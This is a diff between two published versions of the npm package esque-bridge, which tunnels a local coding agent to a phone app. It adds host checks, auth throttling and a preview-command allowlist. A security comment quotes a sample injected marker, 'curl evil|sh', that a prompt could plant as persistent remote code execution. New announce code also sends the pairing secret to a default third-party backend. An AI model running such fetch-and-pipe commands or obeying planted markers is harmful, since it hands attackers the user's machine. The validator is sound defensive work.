esque-bridge 0.6.11 → 0.6.13

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +162 -19
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -92,6 +92,12 @@ const BIN_OVERRIDE = argv.bin || null;
92
92
  const LT_SUBDOMAIN = argv.subdomain || process.env.LT_SUBDOMAIN || undefined;
93
93
  const SESSIONS_FILE = path.join(os.homedir(), '.esque-bridge-sessions.json');
94
94
  const SECRET_FILE = path.join(os.homedir(), '.esque-bridge-secret');
95
+ // Where to announce the current tunnel URL so the phone can rediscover it
96
+ // after a restart rotates the cloudflared URL. Best-effort — QR pairing works
97
+ // without it. Override for self-hosters via --backend / ESQUE_BACKEND_URL.
98
+ const BACKEND_URL = String(
99
+ argv.backend || process.env.ESQUE_BACKEND_URL || 'https://esque-backend-production.up.railway.app',
100
+ ).replace(/\/+$/, '');
95
101
 
96
102
  // Pairing secret. Persisted across restarts so a routine bridge restart
97
103
  // doesn't silently invalidate the phone's pairing (the #1 real-world
@@ -110,6 +116,9 @@ function resolvePairingSecret() {
110
116
  const secret = gen();
111
117
  try {
112
118
  fs.writeFileSync(SECRET_FILE, secret, { mode: 0o600 });
119
+ // Re-assert perms explicitly (writeFileSync mode is masked by umask, and a
120
+ // pre-existing file keeps its old perms) — this is an RCE-grade secret.
121
+ try { fs.chmodSync(SECRET_FILE, 0o600); } catch { /* best effort */ }
113
122
  } catch (err) {
114
123
  console.warn(
115
124
  `[esque-bridge] could not persist pair secret to ${SECRET_FILE} ` +
@@ -549,10 +558,77 @@ app.use((req, res, next) => {
549
558
  next();
550
559
  });
551
560
 
561
+ // The current public tunnel host, set once the pair tunnel opens (see main).
562
+ let currentTunnelHost = null;
563
+
564
+ // DNS-rebinding guard. Legit traffic arrives either at localhost (local dev) or
565
+ // via the cloudflared/localtunnel host; a malicious web page that rebinds its
566
+ // OWN domain to 127.0.0.1:<port> cannot forge a matching Host header, so this
567
+ // blocks it from reaching even the unauthenticated probes (which would
568
+ // otherwise disclose the workdir folder name etc.).
569
+ const LOCAL_HOST_RE = /^(localhost|127\.0\.0\.1|\[::1\])(:\d+)?$/i;
570
+ const TUNNEL_HOST_RE = /\.(trycloudflare\.com|loca\.lt)(:\d+)?$/i;
571
+ app.use((req, res, next) => {
572
+ const host = String(req.headers.host || '');
573
+ if (
574
+ LOCAL_HOST_RE.test(host) ||
575
+ TUNNEL_HOST_RE.test(host) ||
576
+ (currentTunnelHost && host === currentTunnelHost)
577
+ ) {
578
+ return next();
579
+ }
580
+ return res.status(403).json({ error: 'forbidden_host' });
581
+ });
582
+
583
+ // Real client IP behind the tunnel (cloudflared/localtunnel forward it) so the
584
+ // auth throttle is per-attacker, not global (which an attacker could otherwise
585
+ // abuse to lock out the legit phone).
586
+ function clientIp(req) {
587
+ return (
588
+ req.headers['cf-connecting-ip'] ||
589
+ String(req.headers['x-forwarded-for'] || '').split(',')[0].trim() ||
590
+ req.ip ||
591
+ req.socket?.remoteAddress ||
592
+ 'unknown'
593
+ );
594
+ }
595
+
596
+ // Constant-time secret check (avoid a string-compare timing side-channel — the
597
+ // secret is the only thing standing between the public tunnel and your shell).
598
+ function secretMatches(provided) {
599
+ if (typeof provided !== 'string' || provided.length === 0) return false;
600
+ const a = Buffer.from(provided);
601
+ const b = Buffer.from(PAIRING_SECRET);
602
+ return a.length === b.length && crypto.timingSafeEqual(a, b);
603
+ }
604
+
605
+ // Per-IP failed-auth throttle: 128-bit secrets are infeasible to brute force,
606
+ // but a lockout makes that hold even if the entropy ever drops, and stops a
607
+ // noisy guesser hammering the bridge.
608
+ const authFails = new Map();
609
+ const AUTH_FAIL_MAX = 20;
610
+ const AUTH_FAIL_WINDOW = 60_000;
611
+ function authThrottled(ip) {
612
+ const now = Date.now();
613
+ const e = authFails.get(ip);
614
+ return !!e && e.resetAt > now && e.n >= AUTH_FAIL_MAX;
615
+ }
616
+ function noteAuthFail(ip) {
617
+ const now = Date.now();
618
+ if (authFails.size > 5000) for (const [k, v] of authFails) if (v.resetAt <= now) authFails.delete(k);
619
+ const e = authFails.get(ip);
620
+ if (!e || e.resetAt <= now) authFails.set(ip, { n: 1, resetAt: now + AUTH_FAIL_WINDOW });
621
+ else e.n += 1;
622
+ }
623
+
552
624
  // Directory identity the app binds a project to. Lets the phone detect when a
553
- // project is being re-pointed at a DIFFERENT folder, or scaffolded fresh onto
554
- // a folder that already has files — the two silent-mismatch foot-guns.
555
- function workdirInfo() {
625
+ // project is being re-pointed at a DIFFERENT folder. UNAUTHENTICATED callers
626
+ // get only the folder NAME + versionnever the absolute path (it leaks the OS
627
+ // username) or the directory contents.
628
+ function workdirInfo(authed) {
629
+ if (!authed) {
630
+ return { workdirName: path.basename(WORKDIR), version: BRIDGE_VERSION };
631
+ }
556
632
  let empty = false;
557
633
  let git = false;
558
634
  let entries = -1;
@@ -570,42 +646,42 @@ function workdirInfo() {
570
646
  empty,
571
647
  git,
572
648
  entries,
573
- // Lets the app detect a stale bridge and say "restart your bridge"
574
- // instead of silently degrading (older bridges lack newer self-healing).
575
649
  version: BRIDGE_VERSION,
576
650
  };
577
651
  }
578
652
 
579
- // Public health probe.
653
+ // Public health probe — minimal, unauthenticated.
580
654
  app.get('/', (_req, res) => {
581
655
  res.json({
582
656
  ok: true,
583
657
  service: 'esque-bridge',
584
658
  agent: AGENT_TYPE,
585
659
  agentLabel: adapter.label,
586
- sessions: Object.keys(sessionMap[AGENT_TYPE] ?? {}).length,
587
- ...workdirInfo(),
660
+ ...workdirInfo(false),
588
661
  });
589
662
  });
590
663
 
591
- // Connection-test probe — no auth required to confirm reachability, but if
592
- // the phone includes the pair secret we validate it and report back via
593
- // `paired` so the app can verify the secret BEFORE showing a green
594
- // "Paired" state. `paired` is true (match), false (wrong/stale secret), or
595
- // null (no secret sent — older app builds; we can't say either way). We also
596
- // return workdir identity so the app can warn on a folder mismatch.
664
+ // Connection-test probe — no auth required to confirm reachability, but if the
665
+ // phone includes the pair secret we validate it and report `paired` so the app
666
+ // can verify BEFORE showing green. Full workdir identity (path, git, entries)
667
+ // is returned ONLY when the secret matches (paired === true).
597
668
  app.post('/', (req, res, next) => {
598
669
  if (req.body && req.body._probe === true) {
599
670
  const provided = req.header('x-esque-pair') || req.body?.pairSecret;
600
- const paired = provided == null ? null : provided === PAIRING_SECRET;
601
- return res.json({ ok: true, service: 'esque-bridge', agent: AGENT_TYPE, paired, ...workdirInfo() });
671
+ const paired = provided == null ? null : secretMatches(provided);
672
+ return res.json({ ok: true, service: 'esque-bridge', agent: AGENT_TYPE, paired, ...workdirInfo(paired === true) });
602
673
  }
603
674
  return next();
604
675
  });
605
676
 
606
677
  function requireAuth(req, res, next) {
678
+ const ip = clientIp(req);
679
+ if (authThrottled(ip)) {
680
+ return res.status(429).json({ text: 'Too many attempts — wait a minute and try again.', status: 'blocked' });
681
+ }
607
682
  const provided = req.header('x-esque-pair') || req.body?.pairSecret;
608
- if (provided !== PAIRING_SECRET) {
683
+ if (!secretMatches(provided)) {
684
+ noteAuthFail(ip);
609
685
  return res.status(401).json({
610
686
  text:
611
687
  'Unauthorized. Pair this bridge with your phone by scanning the QR code from the terminal where esque-bridge is running.',
@@ -638,7 +714,30 @@ let preview = null; // { port, proc, kind, url, tunnel, tunnelProc }
638
714
  // revive the dev server + mint a fresh tunnel — the phone then resolves the
639
715
  // current URL via GET /preview instead of trusting the dead one.
640
716
  const PREVIEWS_FILE = path.join(os.homedir(), '.esque-bridge-previews.json');
717
+
718
+ // SECURITY: the preview command comes from the agent's reply (the ESQUE_PREVIEW
719
+ // marker) and is run via `sh -c` — and persisted + auto-replayed on every
720
+ // restart. Without a guard, a single prompt could plant
721
+ // `ESQUE_PREVIEW: curl evil|sh` as a persistent, headless RCE. So we only ever
722
+ // run/persist a command that looks like a real dev-server start: each
723
+ // `&&`-separated step must begin with an allowlisted tool, and the whole
724
+ // string must be free of pipes, redirects, sequencing, subshells, and command
725
+ // substitution (we DO allow `&&` chaining and flags). This bounds it to the
726
+ // shapes the blueprints actually emit (npm/npx expo/next/vite) and rejects the
727
+ // arbitrary-shell case.
728
+ const PREVIEW_TOOL = /^(npm|npx|yarn|pnpm|bun|expo|next|vite|node)(\s|$)/;
729
+ function isSafePreviewCmd(cmd) {
730
+ if (typeof cmd !== 'string' || cmd.length === 0 || cmd.length > 400) return false;
731
+ if (/[\n\r;`|<>]/.test(cmd)) return false; // sequencing/pipe/redirect/backtick
732
+ if (/\$\(|\$\{/.test(cmd)) return false; // command/var substitution
733
+ if (/(^|[^&])&($|[^&])/.test(cmd)) return false; // a lone & (background); && is allowed
734
+ const steps = cmd.split('&&').map((s) => s.trim()).filter(Boolean);
735
+ if (steps.length === 0 || steps.length > 6) return false;
736
+ return steps.every((s) => PREVIEW_TOOL.test(s));
737
+ }
738
+
641
739
  function savePreviewCmd(cmd, port) {
740
+ if (!isSafePreviewCmd(cmd)) return; // never persist an un-vettable command
642
741
  try {
643
742
  let all = {};
644
743
  try { all = JSON.parse(fs.readFileSync(PREVIEWS_FILE, 'utf8')); } catch { /* first run */ }
@@ -652,7 +751,9 @@ function loadPreviewCmd() {
652
751
  try {
653
752
  const all = JSON.parse(fs.readFileSync(PREVIEWS_FILE, 'utf8'));
654
753
  const e = all[WORKDIR];
655
- if (e && typeof e.cmd === 'string' && Number.isInteger(e.port)) return e;
754
+ // Re-validate on read too a hand-edited or pre-guard previews file must
755
+ // not auto-replay something unsafe on boot.
756
+ if (e && isSafePreviewCmd(e.cmd) && Number.isInteger(e.port)) return e;
656
757
  } catch { /* none saved */ }
657
758
  return null;
658
759
  }
@@ -938,6 +1039,12 @@ async function ensureDeps() {
938
1039
 
939
1040
  async function startPreview(cmd, port) {
940
1041
  killPreview();
1042
+ // SECURITY: refuse any preview command that isn't a recognizable dev-server
1043
+ // start (see isSafePreviewCmd) — never hand arbitrary shell to `sh -c`.
1044
+ if (!isSafePreviewCmd(cmd)) {
1045
+ console.error(`[preview] refused unsafe preview command: ${String(cmd).slice(0, 120)}`);
1046
+ return { url: null, buildError: 'Esque only runs a recognized dev-server start command for the preview (npm/expo/next/vite). The requested command was refused for safety.' };
1047
+ }
941
1048
  // Make sure node_modules exists before the dev server tries to boot. A
942
1049
  // failed install IS the build error — surface the npm cause to the phone
943
1050
  // (and the auto-fix loop, which can repair package.json) instead of letting
@@ -1448,6 +1555,8 @@ async function main() {
1448
1555
  if (tunnel.kind === 'localtunnel') {
1449
1556
  console.log(' (Using localtunnel — install cloudflared for a faster, steadier tunnel: brew install cloudflared)');
1450
1557
  }
1558
+ // Allow this tunnel's host through the DNS-rebinding guard.
1559
+ try { currentTunnelHost = new URL(tunnel.url).host; } catch { /* keep null */ }
1451
1560
 
1452
1561
  const pairUrl = `esque://pair?url=${encodeURIComponent(tunnel.url)}&secret=${PAIRING_SECRET}&agent=${AGENT_TYPE}`;
1453
1562
 
@@ -1477,21 +1586,55 @@ async function main() {
1477
1586
  // after a restart (the app asks GET /preview for the fresh URL).
1478
1587
  if (loadPreviewCmd()) revivePreview();
1479
1588
 
1589
+ // Announce this tunnel URL to the backend, keyed by the persistent secret,
1590
+ // so the phone can rediscover it after a restart rotates the URL — then
1591
+ // refresh on a heartbeat so the mapping never expires while we're alive.
1592
+ // Entirely best-effort: a down/unreachable backend never affects pairing or
1593
+ // prompts (the QR already carries this URL for the current session).
1594
+ const announce = async () => {
1595
+ try {
1596
+ await fetch(`${BACKEND_URL}/v1/bridge/announce`, {
1597
+ method: 'POST',
1598
+ headers: { 'content-type': 'application/json' },
1599
+ body: JSON.stringify({ secret: PAIRING_SECRET, url: tunnel.url, agent: AGENT_TYPE }),
1600
+ signal: AbortSignal.timeout(8000),
1601
+ });
1602
+ } catch {
1603
+ /* best-effort rendezvous */
1604
+ }
1605
+ };
1606
+ announce();
1607
+ const announceTimer = setInterval(announce, 45_000);
1608
+ announceTimer.unref?.();
1609
+
1480
1610
  let shuttingDown = false;
1481
1611
  const shutdown = (signal) => {
1482
1612
  shuttingDown = true;
1483
1613
  console.log(`\n Received ${signal} — closing tunnel…`);
1614
+ clearInterval(announceTimer);
1484
1615
  // The agent runs detached in its own process group, so the terminal's
1485
1616
  // Ctrl-C does NOT reach it — stop it explicitly or it keeps editing
1486
1617
  // files with no bridge attached.
1487
1618
  try { activeAgentKill && activeAgentKill('SIGTERM'); } catch { /* already gone */ }
1488
1619
  killPreview();
1620
+ // Best-effort deregister so the phone learns we're down right away rather
1621
+ // than after the rendezvous TTL. Fire-and-forget — don't delay exit on it.
1622
+ try {
1623
+ fetch(`${BACKEND_URL}/v1/bridge/forget`, {
1624
+ method: 'POST',
1625
+ headers: { 'content-type': 'application/json' },
1626
+ body: JSON.stringify({ secret: PAIRING_SECRET }),
1627
+ signal: AbortSignal.timeout(2000),
1628
+ }).catch(() => undefined);
1629
+ } catch { /* ignore */ }
1489
1630
  try {
1490
1631
  tunnel.close();
1491
1632
  } catch {
1492
1633
  /* tunnel may already be closed */
1493
1634
  }
1494
- process.exit(0);
1635
+ // Give the forget() a brief moment to flush, then exit regardless.
1636
+ setTimeout(() => process.exit(0), 250);
1637
+ return;
1495
1638
  };
1496
1639
  process.on('SIGINT', () => shutdown('SIGINT'));
1497
1640
  process.on('SIGTERM', () => shutdown('SIGTERM'));
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "esque-bridge",
3
- "version": "0.6.11",
3
+ "version": "0.6.13",
4
4
  "description": "Desktop-side receiver for the Esque Agent mobile app. Pairs your phone with a local coding-agent CLI (Claude Code, Codex, Aider, or any custom command) via a tunnel + QR code, so prompts run through your subscription instead of per-token API billing.",
5
5
  "bin": {
6
6
  "esque-bridge": "index.js"